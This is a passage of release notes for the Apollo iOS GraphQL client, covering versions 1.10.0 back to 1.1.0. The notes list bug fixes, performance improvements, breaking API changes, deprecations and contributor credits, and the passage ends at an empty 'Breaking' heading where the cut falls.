### [`v1.10.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1100)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.9.3...1.10.0)

##### New

-   **Added support for visionOS ([#&#8203;3320](https://redirect.github.com/apollographql/apollo-ios/issues/3320)):** All the dependecies that Apollo iOS requires have been updated to add support for visionOS, so we can now add official support for visionOS too. See PR [#&#8203;333](https://redirect.github.com/apollographql/apollo-ios-dev/pull/333).

##### Improvement

-   **Add Sendable conformance to some basic SchemaTypes:** This adds `Sendable` conformance to the some of the generated schema types. This does not mean that all of the generated code is safe to use yet with complete concurrency checking of Swift 5.10 but it gets us closer to that goal. See PR [#&#8203;322](https://redirect.github.com/apollographql/apollo-ios-dev/pull/322). *Thanks to [@&#8203;bdbergeron](https://redirect.github.com/bdbergeron) for the contributon.*

### [`v1.9.3`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v193)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.9.2...1.9.3)

##### Fixed

-   **Fix injecting of context for UploadRequest:** Any request context passed into an upload request was not being added to the HTTP request and would not be available to the interceptor chain. See PR ([#&#8203;302](https://redirect.github.com/apollographql/apollo-ios-dev/pull/302)). *Thanks to [@&#8203;RobertDresler](https://redirect.github.com/RobertDresler) for the contribution.*
-   **Added support for SPM Package.resolved format version 3 ([#&#8203;3355](https://redirect.github.com/apollographql/apollo-ios/issues/3355)):** When using Xcode 15.3 the codegen CLI would fail the `generate` command with an error stating the Package.resolve file version is unsupported. Version 3 is now accepted as a valid file format for the codegen version checker. See PR ([#&#8203;304](https://redirect.github.com/apollographql/apollo-ios-dev/pull/304)).
-   **PrivacyInfo.xcprivacy file is invalid for Apollo and ApolloApi ([#&#8203;3359](https://redirect.github.com/apollographql/apollo-ios/issues/3359)):** We received reports that when submitting to the App Store the submission would fail with an error stating that the privacy manifests were invalid. We identified the error and updated the privacy files. See PR ([#&#8203;309](https://redirect.github.com/apollographql/apollo-ios-dev/pull/309)). *Thanks to [@&#8203;azilbershtein](https://redirect.github.com/azilbershtein) for raising the issue.*

##### Improvement

-   **Provide a direct means to observe changes in ApolloStore:** `ApolloStore` now exposes it's subscriber mechanism publicly. This means you can now observe and receive notifications about changes to the store. See PR ([#&#8203;300](https://redirect.github.com/apollographql/apollo-ios-dev/pull/300)). *Thanks to [@&#8203;jamesonwilliams](https://redirect.github.com/jamesonwilliams) for the contribution.*
-   **Remove redundant iteration in EntitySelectionTree merging algorithm:** The conditions for merging selections were revisited and we identified, and removed, a redundant iteration. This is a significant performance improvement as it removes an entire additional iteration through all the conditional scopes in the tree. See PR ([#&#8203;308](https://redirect.github.com/apollographql/apollo-ios-dev/pull/308)).

### [`v1.9.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v192)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.9.1...1.9.2)

##### Fixed

-   **Backwards Compatibility issues in 1.9.1:** 1.9.1 introduced a minor breaking change for some users who were creating a custom implementaiton of `ApolloClientProtocol`. Sorry about that! This patch release fixed the compatiblity. See PR [#&#8203;290](https://redirect.github.com/apollographql/apollo-ios-dev/pull/290). *Thanks to [@&#8203;michaelloo](https://redirect.github.com/michaelloo) for raising the issue.*

##### Improvement

-   **Session and task descriptions parameters added to `URLSessionClient` ([#&#8203;286](https://redirect.github.com/apollographql/apollo-ios-dev/pull/286)):** The `URLSessionClient` now allows you to set a `sessionDescription` on the session and `taskDescription` on each task. These are helpful when debugging, especially when analyzing HTTP traffic with Instruments. *Thanks to [@&#8203;hishma](https://redirect.github.com/hishma) for the contribution.*

### [`v1.9.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v191)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.9.0...1.9.1)

##### Fixed

-   **`SelectionSet` generated initializers don't compile with `self` parameter ([#&#8203;3330](https://redirect.github.com/apollographql/apollo-ios/issues/3330)):** Selection set initializers now use a local property name when the external property name is a Swift reserved word; see PR [#&#8203;257](https://redirect.github.com/apollographql/apollo-ios-dev/pull/257). *Thanks to [@&#8203;grantjbutler](https://redirect.github.com/grantjbutler) for raising the issue.*
-   **asXXXXXXX property on a union never returning `nil` if selection set empty ([#&#8203;3326](https://redirect.github.com/apollographql/apollo-ios/issues/3326)):** - The codegen logic to determine whether a selection set is composite or not has been improved to handle the case when `__typename` was the only field in the selection set; see PR [#&#8203;261](https://redirect.github.com/apollographql/apollo-ios-dev/pull/261). *Thanks to [@&#8203;vincentisambart](https://redirect.github.com/vincentisambart) for raising the issue.*

##### Improvement

-   **Feature/ContextIdentifier for the mutate queries ([#&#8203;281](https://redirect.github.com/apollographql/apollo-ios-dev/pull/281)):** Mutation operations can now be given a context identifier to be used later in the request. *Thanks to [@&#8203;VladimirK-ah](https://redirect.github.com/VladimirK-ah) for the contribution.*

### [`v1.9.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v190)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.8.0...1.9.0)

##### Improvement

-   **New import directive for operations:** GraphQL operations now support a directive to control custom module import statements in the generated file. Any operation that includes the directive `@import(module:)`, on the defintion line, with a supplied `String` as the module name will have that module used in a Swift `import` statement at the top of the operation file and any referenced fragments. *Thank you to [@&#8203;hemel](https://redirect.github.com/hemel) for the contribution ([#&#8203;236](https://redirect.github.com/apollographql/apollo-ios-dev/pull/236) / [#&#8203;245](https://redirect.github.com/apollographql/apollo-ios-dev/pull/245)).*

##### Fixed

-   **The `fragmentDefinition` remains in all generated fragments when `operationDocumentFormat` does not include `.definition` ([#&#8203;3282](https://redirect.github.com/apollographql/apollo-ios/issues/3282)):** Code generation will now only generate definitions in fragment files if the `operationDocumentFormat` config contains the `.definition` value ([#&#8203;218](https://redirect.github.com/apollographql/apollo-ios-dev/pull/218)). *Thank you to [@&#8203;jimisaacs](https://redirect.github.com/jimisaacs) for raising the issue.*
-   **Custom scalar file header comment ([#&#8203;3323](https://redirect.github.com/apollographql/apollo-ios/issues/3323)):** The header comment for generated custom scalar files was incorrectly changed to state that the output "should not be edited" but the file content could still be edited and would not be overwritten. The header comment has been changed back to state that the contents will be preserved during subsequent codegen executions. *Thank you to [@&#8203;matsudamper](https://redirect.github.com/matsudamper) for raising the issue and the contribution to fix it ([#&#8203;243](https://redirect.github.com/apollographql/apollo-ios-dev/pull/243)).*

##### Changed

-   **WebSocket disconnection errors are no longer printed to stdout ([#&#8203;3325](https://redirect.github.com/apollographql/apollo-ios/issues/3325)):** See PR ([#&#8203;253](https://redirect.github.com/apollographql/apollo-ios-dev/pull/253)) *Thank you to [@&#8203;sgade](https://redirect.github.com/sgade) for raising the issue.*

### [`v1.8.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v180)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.7.1...1.8.0)

##### Fixed

-   **Duplicate `@defer` directive error ([#&#8203;235](https://redirect.github.com/apollographql/apollo-ios-dev/pull/235)):** When executing codegen against Apollo Router and a schema that supports the `@defer` directive it would fail with an error stating the directive is duplicated.

##### Improvement

-   **Added \`InputObject\`\` casing strategy ([#&#8203;137](https://redirect.github.com/apollographql/apollo-ios-dev/pull/137)):** We've added a new casing strategy option for InputObjects which mimics the behaviour of the enum case conversion strategy. *Thank you to [@&#8203;alexifrim](https://redirect.github.com/alexifrim) for raising this in issue [#&#8203;3257](https://redirect.github.com/apollographql/apollo-ios/issues/3257).*
-   **Added `GraphQLResult` conversion extension ([#&#8203;139](https://redirect.github.com/apollographql/apollo-ios-dev/pull/139)):** `GraphQLResult` response data can now be easily converted into a JSON dictionary. This is useful for taking server response data and serializing it into a JSON dictionary which can then be used in a test suite.
-   **Codegen performance improvements ([#&#8203;152](https://redirect.github.com/apollographql/apollo-ios-dev/pull/152)):** There has been a bunch of refactoring work to prepare for future codegen features but we've also managed to squeeze out some performance improvements.

### [`v1.7.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v171)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.7.0...1.7.1)

##### Fixed

-   **Fixed inconsistent ordering of fragments in generated operation definitions  ([#&#8203;130](https://redirect.github.com/apollographql/apollo-ios-dev/pull/130)):** In order to make the ordering of fragments consistent, they are now alphabetized. This is a change to the data that gets sent over the wire when making a network request for an operation with fragments. **[Persisted Queries](https://www.apollographql.com/docs/ios/fetching/persisted-queries) users should re-register their queries when upgrading to this version.** *Thank you to [@&#8203;scottasoutherland](https://redirect.github.com/scottasoutherland) for reporting the issue.*

##### Improvement

-   **Add initializer for `SelectionSet` that takes a `[String: Any]` JSON object ([#&#8203;102](https://redirect.github.com/apollographql/apollo-ios-dev/pull/102)):** *Thank you to [@&#8203;Cookiezby](https://redirect.github.com/Cookiezby) for the contribution.*

### [`v1.7.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v170)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.6.1...1.7.0)

**`ApolloCodegenLib` Now Uses Swift Concurrency**
To improve the performance of the code generation, the `ApolloCodegenLib` now uses `async/await`. Code generation is now parallelized and should complete much faster for users with a large number of GraphQL files.
This means that the entry point function, `ApolloCodegen.build(with configuration:)` is now an `async` function. For users using the `ApolloCodegenLib` directly, you will need to make your call sites into this function use `async/await`. In most cases, this requires minimal code changes. Please see the [1.7.0 migration guide](https://www.apollographql.com/docs/ios/migrations/1.7) for information on how to upgrade.

See PR [#&#8203;57](https://redirect.github.com/apollographql/apollo-ios-dev/pull/57).

##### Fixed

-   **Fixed a bug with ApolloAPI.Object clashing with custom objects name Object ([#&#8203;94](https://redirect.github.com/apollographql/apollo-ios-dev/pull/94)):** *Thank you to [215eight](https://redirect.github.com/215eight) for reporting the issue.*

### [`v1.6.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v161)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.6.0...1.6.1)

##### Fixed

-   **Fix bug with AnyHashable coercion ([#&#8203;68](https://redirect.github.com/apollographql/apollo-ios-dev/pull/68)):** This is an additional fix for the crashes on iOS 14.4.1.

### [`v1.6.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v160)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.5.2...1.6.0)

The Apollo iOS ecosystem is changing in the 1.6.0 release in order to provide a better development experience for users. For most users nothing will change, while some users will see a minor difference. The biggest change is that the `ApolloCodegenLib` is now in a separate repo/package that will need to be included as its own dependency from [apollo-ios-codegen](https://redirect.github.com/apollographql/apollo-ios-codegen) if you are doing your code generation through Swift. If you are using the codegen CLI then no changes are necessary.

For a detailed breakdown of the changes please see this [GitHub Issue](https://redirect.github.com/apollographql/apollo-ios/issues/3240).

##### Fixed

-   **Fixed crashes in iOS 14.4 and below ([#&#8203;61](https://redirect.github.com/apollographql/apollo-ios-dev/pull/61)):** *Thank you to [matijakregarGH](https://redirect.github.com/matijakregarGH) for reporting the issue.*

### [`v1.5.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v152)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.5.1...1.5.2)

The purpose of this release is to provide a deprecation message to users of `ApolloCodegenLib` who are scripting their code generation in advance of an upcoming change to our libraries and repo structure. Beginning with the upcoming 1.6.0 release the code generation libraries will be their own SPM package in their own repo which will require you to add a new dependency to you project in order for your code generation scripting to compile. More information can be found in our [announcement](https://redirect.github.com/apollographql/apollo-ios/issues/3240) of this change.

**If you would like to avoid this deprecation warning in your builds feel free to stay on 1.5.1 or earlier, this warning will be gone in the 1.6.0 release**

PR containing deprecation warning for reference: [#&#8203;3243](https://redirect.github.com/apollographql/apollo-ios/pull/3243).

### [`v1.5.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v151)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.5.0...1.5.1)

##### Improvement

-   **Added `OutputOptions` property to codegen for marking generated classes as `final` ([#&#8203;3189](https://redirect.github.com/apollographql/apollo-ios/pull/3189)):** *Thank you to [@&#8203;Mordil](https://redirect.github.com/Mordil) for the contribution.*

##### Fixed

-   **Codegen `itemsToGenerate` option for `.all` not generating an operation manifest ([#&#8203;3215](https://redirect.github.com/apollographql/apollo-ios/pull/3215)):** *Thank you to [@&#8203;TizianoCoroneo](https://redirect.github.com/TizianoCoroneo) for finding and fixing the issue.*
-   **Codegen operation manifest inadvertantly being generated twice ([#&#8203;3225](https://redirect.github.com/apollographql/apollo-ios/pull/3225)):** *Thank you to [@&#8203;jimisaacs](https://redirect.github.com/jimisaacs) for finding and fixing the issue.*

### [`v1.5.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v150)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.4.0...1.5.0)

##### New

-   **Added the ability pass a custom `RequestContext` to networking APIs ([#&#8203;3198](https://redirect.github.com/apollographql/apollo-ios/pull/3198)):** *Thank you to [@&#8203;danieltiger](https://redirect.github.com/danieltiger) for the contribution.*
    -   **Minor Breaking Change:** The `requestContext` parameter is optional with a default value of `nil`. This means there are no breaking changes to the APIs for making networking calls. However, the `requestContext` parameter was also added to the `ApolloClientProtocol`. For custom implementations of this protocol (usually used for unit testing), you will need to add the `requestContext` parameter to your function signatures.

##### Fixed

-   **Null values are no longer stripped from the underlying data used by generated `SelectionSet` models ([apollo-ios-dev/#&#8203;25](https://redirect.github.com/apollographql/apollo-ios-dev/pull/25)):**
    -   When these models were manually inserted into the cache, the null fields, which were stripped, were not written to the cache. This caused unintended cache misses when fetching those values back out of the cache.
    -   This fixes [#&#8203;3092](https://redirect.github.com/apollographql/apollo-ios/issues/3092). *Thank you to [@&#8203;
        aleksanderlorenc-lw](https://redirect.github.com/aleksanderlorenc-lw) for raising this issue.*

### [`v1.4.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v140)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.3.3...1.4.0)

##### New

-   **Added the ability to set a casing strategy for field names in code generation ([#&#8203;2738](https://redirect.github.com/apollographql/apollo-ios/issues/2738)):** See PR ([#&#8203;3171](https://redirect.github.com/apollographql/apollo-ios/pull/3171)). *Thank you to [@&#8203;Spatel91111](https://redirect.github.com/Spatel91111) for the feature request.*

##### Improvement

-   **Updated the way persisted queries are configured for code and manifest generation:** See PR ([#&#8203;3175](https://redirect.github.com/apollographql/apollo-ios/pull/3175))
-   **Updated docs for `other` schema module type to provide more clarity ([#&#8203;3164](https://redirect.github.com/apollographql/apollo-ios/issues/3164)):** See PR ([#&#8203;3170](https://redirect.github.com/apollographql/apollo-ios/pull/3170)) *Thank you to [@&#8203;Mordil](https://redirect.github.com/Mordil) for suggesting this update.*

### [`v1.3.3`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v133)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.3.2...1.3.3)

##### Fixed

-   **Fix two issues with generated models:** See PR ([#&#8203;3168](https://redirect.github.com/apollographql/apollo-ios/pull/3168)). *Thank you to [@&#8203;iAmericanBoy](https://redirect.github.com/iAmericanBoy) for finding these issues and providing a reproduction case.*
-   **Fix computation of operation identifiers for persisted queries:** See PR ([#&#8203;3163](https://redirect.github.com/apollographql/apollo-ios/pull/3163)). *Thank you to [@&#8203;WolframPRO](https://redirect.github.com/WolframPRO) for finding these issues.*

### [`v1.3.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v132)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.3.1...1.3.2)

##### Improved

-   **Throw an error when an invalid key is present in the codegen configuration JSON ([#&#8203;2942](https://redirect.github.com/apollographql/apollo-ios/issues/2942)):** See PR ([#&#8203;3125](https://redirect.github.com/apollographql/apollo-ios/pull/3125)) *Thank you to [@&#8203;Iron-Ham](https://redirect.github.com/Iron-Ham) for the contribution.*
-   **Cleanup unused imports and declarations. ([#&#8203;3099](https://redirect.github.com/apollographql/apollo-ios/issues/3099)):** See PR ([#&#8203;3100](https://redirect.github.com/apollographql/apollo-ios/pull/3100)) *Thank you to [@&#8203;Iron-Ham](https://redirect.github.com/Iron-Ham) for raising the issue and contributing the fix.*
-   **Improvement to response code error API ([#&#8203;2426](https://redirect.github.com/apollographql/apollo-ios/issues/2426)):** See PR ([#&#8203;3123](https://redirect.github.com/apollographql/apollo-ios/pull/3123)). *Thank you to [@&#8203;dfperry5](https://redirect.github.com/dfperry5) for the contribution.*
-   **Improved file path support for operation manifest generation:** See PR ([#&#8203;3128](https://redirect.github.com/apollographql/apollo-ios/pull/3128))

##### Fixed

-   **Fix two issues in test mock generation:** See PR ([#&#8203;3120](https://redirect.github.com/apollographql/apollo-ios/pull/3120)). *Thank you to [@&#8203;TizianoCoroneo](https://redirect.github.com/TizianoCoroneo) for finding this issue and contributing the fix.*
-   **Fixed precondition failure when surpassing graphql-js max error count ([#&#8203;3126](https://redirect.github.com/apollographql/apollo-ios/issues/3126)):** See PR ([#&#8203;3132](https://redirect.github.com/apollographql/apollo-ios/pull/3132)).

##### Deprecated

-   **Deprecated `queryStringLiteralFormat` in `ApolloCodegenConfiguration`:** Query string literals will now always be generated as single line strings. See PR ([#&#8203;3129](https://redirect.github.com/apollographql/apollo-ios/pull/3129)).

### [`v1.3.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v131)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.3.0...1.3.1)

##### Fixed

-   **Fix crashes in test mocks when setting an array of union types ([#&#8203;3023](https://redirect.github.com/apollographql/apollo-ios/pull/3023)):** See PR ([#&#8203;3089](https://redirect.github.com/apollographql/apollo-ios/pull/3089)). *Thank you to [@&#8203;jabeattie](https://redirect.github.com/jabeattie) & [@&#8203;scottasoutherland](https://redirect.github.com/scottasoutherland) for raising the issue.*

##### Deprecated

-   **Deprecated `APQConfig` & `operationIdentifiersPath` in `ApolloCodegenConfiguration`:** These have been replaced with `OperationDocumentFormat` and `OperationManifestFileOutput` respectively. Please see the documentation for [`ApolloCodegenConfiguration`](https://www.apollographql.com/docs/ios/code-generation/codegen-configuration) for more information.

### [`v1.3.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v130)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.2.2...1.3.0)

Though `1.3.0` is a minor version bump, some critical issues were addressed in this version that requires a small breaking change during the upgrade.  While we strive to make the upgrade path for minor versions seamless, these issues could not be reasonably resolved without requiring this migration.

For a detailed explanation of the breaking changes and a guide on how to migrate to `1.3.0`, see our [migration guide](https://www.apollographql.com/docs/ios/migrations/1.3).

##### Breaking

-   **Using reserved keyword `Type` as in selection fields does not compile ([#&#8203;3006](https://redirect.github.com/apollographql/apollo-ios/issues/3006)):** See PR [#&#8203;3058](https://redirect.github.com/apollographql/apollo-ios/pull/3058). *Thank you to [@&#8203;Nielssg](https://redirect.github.com/Nielssg) for raising the issue.*
-   **Memory leak from `InterceptorRequestChain` when ending the chain with `returnValueAsync` ([#&#8203;3057](https://redirect.github.com/apollographql/apollo-ios/issues/3057)):** See PR [#&#8203;3070](https://redirect.github.com/apollographql/apollo-ios/pull/3070). *Thank you to [@&#8203;marksvend](https://redirect.github.com/marksvend) for raising the issue.*

### [`v1.2.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v122)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.2.1...1.2.2)

##### Added

-   **Support SOCKS proxies for debugging websocket based subscriptions([#&#8203;2788](https://redirect.github.com/apollographql/apollo-ios/issues/2788)):** *Thank you to [@&#8203;tahirmit](https://redirect.github.com/tahirmt) for the contribution.*

##### Fixed

-   **Fix conversion of generated models into nested type cases ([#&#8203;2989](https://redirect.github.com/apollographql/apollo-ios/issues/2989) & [#&#8203;2980](https://redirect.github.com/apollographql/apollo-ios/issues/2980)):** In some cases, the generated models were missing types when calculating which fragments were fulfilled for a selection set. This was causing type case conversion to return `nil` incorrectly. See PR [#&#8203;3067](https://redirect.github.com/apollographql/apollo-ios/pull/3067). *Thank you to [@&#8203;tgyhlsb](https://redirect.github.com/tgyhlsb) and [@&#8203;dafurman](https://redirect.github.com/dafurman) for raising these issues.*
-   **Fix crashes in code generation when merging fragments at definition root ([#&#8203;3071](https://redirect.github.com/apollographql/apollo-ios/issues/3071)):** When fragments with type conditions were defined on the root of an operation or named fragment, the code generation engine was crashing. See PR [#&#8203;3073](https://redirect.github.com/apollographql/apollo-ios/pull/3073). *Thank you to [@&#8203;tahirmit](https://redirect.github.com/tahirmt) for raising and helping us reproduce this issue.*
-   **Fix parsing of input objects as default values for input params ([#&#8203;2978](https://redirect.github.com/apollographql/apollo-ios/issues/2978)):** The codegen engine will no longer crash in this situation. *Thank you to [@&#8203;ecunha-ta](https://redirect.github.com/ecunha-ta) for raising the issue.*

### [`v1.2.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v121)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.2.0...1.2.1)

##### Improved

-   **Added new validation to alert users to type naming conflict when running code generation([#&#8203;2405](https://redirect.github.com/apollographql/apollo-ios/issues/2405)):** See PR [#&#8203;3041](https://redirect.github.com/apollographql/apollo-ios/pull/3041).

##### Fixed

-   **Int values failing to cast to Scalar Type during cache key resolution ([#&#8203;3034](https://redirect.github.com/apollographql/apollo-ios/issues/3034)):** See PR [#&#8203;3037](https://redirect.github.com/apollographql/apollo-ios/pull/3037). *Thank you to [@&#8203;asbhat](https://redirect.github.com/asbhat) for raising the issue.*
-   **Fix malformed RootEntityType on generated fragment with `@include` condition. ([#&#8203;2962](https://redirect.github.com/apollographql/apollo-ios/issues/2962)):** See PR [#&#8203;3045](https://redirect.github.com/apollographql/apollo-ios/pull/3045). *Thank you to [@&#8203;alexisbronchart](https://redirect.github.com/alexisbronchart) for raising the issue.*

### [`v1.2.0`](https://redirect.github.com/apollographql/apollo-ios/releases/tag/1.2.0)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.1.3...1.2.0)

Though 1.2 is a minor version bump, a critical problem was addressed in this version that requires a small breaking change during the upgrade.  While we strive to make the upgrade path for minor versions seamless, this issue could not be reasonably resolved without requiring this migration.

**For most users, this migration will only require a single change to your `SchemaConfiguration.swift` file.**

For a detailed explanation of the breaking changes and a guide on how to migrate to v1.2, see our [migration guide](https://www.apollographql.com/docs/ios/migrations/1.2).

##### Breaking

-   **Cache Key Configuration API Changes ([#&#8203;2990](https://redirect.github.com/apollographql/apollo-ios/pull/2990)):** The API for configuring custom cache keys has had a minor change in this version. The signature of the `cacheKeyInfo(for:object:)` function, defined in your generated SchemaConfiguration.swift file, has been modified. For more information, see our [migration guide](https://www.apollographql.com/docs/ios/migrations/1.2).

##### Improved

-   **Improved performance of GraphQL execution ([#&#8203;2990](https://redirect.github.com/apollographql/apollo-ios/pull/2990)):** Improvements to the `GraphQLExecutor` resulted in a ~15-20% reduction in execution time for parsing and mapping network response or cache data onto generated models.
-   **Improved performance of generated model initialization and type conversions ([#&#8203;2990](https://redirect.github.com/apollographql/apollo-ios/pull/2990)):** The `DataDict` used to store the data for generated models has been updated to use copy-on-write value semantics. This resulted in a ~70-80% reduction in the execution time of initialization and type case conversions in the generated models.

##### Fixed

-   **Pruning generated files for `.relative(subpath:)` operations ([#&#8203;2969](https://redirect.github.com/apollographql/apollo-ios/issues/2969)):** See PR [#&#8203;2994](https://redirect.github.com/apollographql/apollo-ios/pull/2994). *Thank you to [@&#8203;jimisaacs](https://redirect.github.com/jimisaacs) for raising the issue.*
-   **InputObjects generated with incorrect getter/setter key ([#&#8203;2858](https://redirect.github.com/apollographql/apollo-ios/issues/2858)):** See PR [#&#8203;2996](https://redirect.github.com/apollographql/apollo-ios/pull/2996). *Thank you to [@&#8203;Austinpayne](https://redirect.github.com/Austinpayne) for raising the issue.*
-   **Generates conflicting types for fields of singular and plural names ([#&#8203;2850](https://redirect.github.com/apollographql/apollo-ios/issues/2850)):** See PR [#&#8203;3009](https://redirect.github.com/apollographql/apollo-ios/pull/3009). *Thank you to [@&#8203;sgade](https://redirect.github.com/sgade) for raising the issue.*
-   **Equality operator shows incorrect values based on value of `__fulfilled` ([#&#8203;2944](https://redirect.github.com/apollographql/apollo-ios/issues/2944)):** See PR [#&#8203;2990](https://redirect.github.com/apollographql/apollo-ios/pull/2990). *Thank you to [@&#8203;scottasoutherland](https://redirect.github.com/scottasoutherland) for raising the issue.*

##### New

-   **Add option to generate objects with `internal` access modifier ([#&#8203;2630](https://redirect.github.com/apollographql/apollo-ios/issues/2630)):** See PR [#&#8203;2917](https://redirect.github.com/apollographql/apollo-ios/pull/2917). *Thank you to [@&#8203;simonbilskyrollins](https://redirect.github.com/simonbilskyrollins) for the feature request.*

### [`v1.1.3`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v113)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.1.2...1.1.3)

##### Fixed

-   **`@dynamicMember` conflicting field name ([#&#8203;2950](https://redirect.github.com/apollographql/apollo-ios/issues/2950)):** The subscript setters have been changed to allow a selection set property named `hash`. [#&#8203;2965](https://redirect.github.com/apollographql/apollo-ios/pull/2965) *Thank you to [@&#8203;renanbdias](https://redirect.github.com/renanbdias) for raising the issue.*
-   **Disallow certain targetNames in code generation ([#&#8203;2958](https://redirect.github.com/apollographql/apollo-ios/issues/2958)):** `apollo` is no longer allowed as a target name otherwise it causes a conflict when importing `Apollo` as a module. [#&#8203;2972](https://redirect.github.com/apollographql/apollo-ios/pull/2972) *Thank you to [@&#8203;moopoints](https://redirect.github.com/moopoints) for raising the issue.*
-   **Fully Qualify name of RootEntityType and mergedSources ([#&#8203;2949](https://redirect.github.com/apollographql/apollo-ios/issues/2949)):** Selection set types use fully qualified namespacing to prevent conflicts with other types. [#&#8203;2956](https://redirect.github.com/apollographql/apollo-ios/pull/2956) *Thank you to [@&#8203;martin-muller](https://redirect.github.com/martin-muller) for raising the issue.*
-   **SelectionSet Codegen `__typename` fix ([#&#8203;2955](https://redirect.github.com/apollographql/apollo-ios/issues/2955)):** Custom root types defined in the schema are now correctly applied to selection set fields typename definitions [#&#8203;2983](https://redirect.github.com/apollographql/apollo-ios/pull/2983) *Thank you to [@&#8203;ynnadrules](https://redirect.github.com/ynnadrules) for raising the issue.*

### [`v1.1.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v112)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.1.1...1.1.2)

##### Fixed

-   **Crash after calling `cancel()` on `Cancellable` ([#&#8203;2932](https://redirect.github.com/apollographql/apollo-ios/issues/2932)):** Calling `cancel()` on a non-subscription `Cancellable` will now correctly handle the lifetime of the internally `Unmanaged` object. [#&#8203;2943](https://redirect.github.com/apollographql/apollo-ios/pull/2943) - *Thank you to [@&#8203;yonaskolb](https://redirect.github.com/yonaskolb) for raising the issue.*
-   **Deprecation messages are not escaped ([#&#8203;2879](https://redirect.github.com/apollographql/apollo-ios/issues/2879)):** If escaped characters are used in GraphQL deprecation messages they are now properly escaped in the rendered Swift warning or attribution message. [#&#8203;2951](https://redirect.github.com/apollographql/apollo-ios/pull/2951) *Thank you to [@&#8203;djavan-bertrand](https://redirect.github.com/djavan-bertrand) for raising the issue.*

##### Added

-   **Add injecting additionalErrorHandler for upload operations to RequestChainNetworkTransport ([#&#8203;2948](https://redirect.github.com/apollographql/apollo-ios/pull/2948)):** `Upload` operations can now have custom error interceptors like other operations. [#&#8203;2948](https://redirect.github.com/apollographql/apollo-ios/pull/2948) *Thank you to [@&#8203;RobertDresler](https://redirect.github.com/RobertDresler) for the contribution.*

### [`v1.1.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v111)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.1.0...1.1.1)

##### Fixed

-   **Version 1.1.0 does not compile when installed via CocoaPods ([#&#8203;2936](https://redirect.github.com/apollographql/apollo-ios/issues/2936)):** Module names not present in CocoaPods builds have been removed from type declarations. [#&#8203;2937](https://redirect.github.com/apollographql/apollo-ios/pull/2937) - *Thank you to [@&#8203;simonliotier](https://redirect.github.com/simonliotier) for raising the issue.*
-   **Crash when using mocks for Double Nested Arrays ([#&#8203;2809](https://redirect.github.com/apollographql/apollo-ios/issues/2809)):** Test mock data is now correctly applied to the selection set. [#&#8203;2939](https://redirect.github.com/apollographql/apollo-ios/pull/2939) - *Thank you to [@&#8203;scottasoutherland](https://redirect.github.com/scottasoutherland) for raising the issue.*
-   **In 1.1.0, passing custom scalars or GraphQLEnum to mocks fails ([#&#8203;2928](https://redirect.github.com/apollographql/apollo-ios/issues/2928)):** Test mock data is now correctly applied to the selection set. [#&#8203;2939](https://redirect.github.com/apollographql/apollo-ios/pull/2939) - *Thank you to [@&#8203;scottasoutherland](https://redirect.github.com/scottasoutherland) for raising the issue.*

### [`v1.1.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v110)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.0.7...1.1.0)

Apollo iOS v1.1 primarily focuses on adding generated initializers to the generated operation models.

In most cases, the upgrade from v1.0 to v1.1 should require no changes to your code.

##### **Breaking**

